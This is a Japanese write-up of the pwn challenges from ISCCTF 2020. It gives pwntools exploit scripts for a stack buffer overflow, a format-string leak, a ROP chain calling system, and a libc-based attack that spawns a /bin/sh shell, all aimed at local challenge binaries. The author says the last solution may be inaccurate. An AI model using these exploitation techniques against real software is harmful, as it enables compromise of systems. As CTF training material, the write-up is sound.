ISCCTF 2020 Write-up

はじめに

ISCCTFに参加したのでpwnだけWrite-up書きます.11位でした.

stuck

stuckの名の通りスタックバッファオーバーフローの問題.
win関数が用意されているので戻りアドレスをwin関数に書き換えるとflag入手可能.

from pwn import *
context.log_level = 'debug'
context.terminal = ['termite','--hold','-e','bash -c ']

elf = './chall'
bin = ELF(elf)

local = 1

if local:
        cn = process(elf)
else:
        cn = remote('')

addr_win = bin.symbols['win']

offset = 120
pay = b'A'*offset+p64(addr_win)

cn.sendline(pay)

cn.interactive()

echo

echoという名前の問題は書式文字列攻撃が可能な問題が多い.
main関数の初めにflagをheap領域に書き込んでいる.
スタックにflagの中身を格納しているアドレスが存在するのでこのアドレスを読み込む.

echo -e '%7$s' | ./chall

portal

ropの問題.
authenticate関数内でsystem関数が使用されているため,authenticate関数を呼び出してみるがflagが表示されない.pltのsystem関数を直接呼び出すことでflagを表示する. system関数の引数はpop_rdiを使用すれば任意に指定可能.

from pwn import *
context.log_level = 'debug'
context.terminal = ['termite','--hold','-e','bash -c ']

elf = './chall'
bin = ELF(elf)

local = 1

if local:
        cn = process(elf)
else:
        cn = remote('')

plt_system =0x00000000004010a0
addr_auth = bin.symbols['authenticate']
pop_rdi = 0x00401383

offset = 40
cat = 0x40200f

pay = b'A'*offset+p64(0x004013a4)+p64(pop_rdi)+p64(cat)+p64(plt_system)

cn.sendline(pay)

cn.interactive()

iter_fold

演算子の指定に任意の値を入力できるため脆弱性が存在する. fold関数内で各演算子に対応した関数が呼び出される設計になっているが,演算子に適当な値を入力することでスタック上の任意の位置に記載されているアドレスにジャンプすることができる.arrayとしてスタック上には任意の値を書き込むことができるかつ,libcのベースが与えられているのでOne_gadgetを呼び出す. しかし,制約を満たさなかったため, system関数を呼びだす. system関数の引数はarrayのどこかに適当に書き込むと引数となる箇所があるため問題ない.解析をする気力がなかったので感覚でといたため正確性は欠ける.

from pwn import *
context.log_level = 'debug'
context.terminal = ['termite','--hold','-e','bash -c ']

elf = './chall'
bin = ELF(elf)
lib = ELF('./libc-2.27.so')

local = 1

if local:
        cn = process(elf)
else:
        cn = remote('')

addr_system = lib.symbols['system']

leak_lib = int(cn.recvuntil(' ')[:-1],16)
log.info(hex(leak_lib))

one = leak_lib + 0x4f365
binsh = leak_lib + 0x1b40fa
lib_system = leak_lib + addr_system

pay = str(0x0)
cn.sendline(pay)
pay = str(0)
cn.sendline(pay)
pay = str(lib_system)
cn.sendline(pay)
pay = str(lib_system)

cn.sendline(pay)
pay = str(0x0)
cn.sendline(pay)
pay = str(0x68732f2f6e69622f)
cn.sendline(pay)
pay = "'"
cn.sendline(pay)

cn.interactive()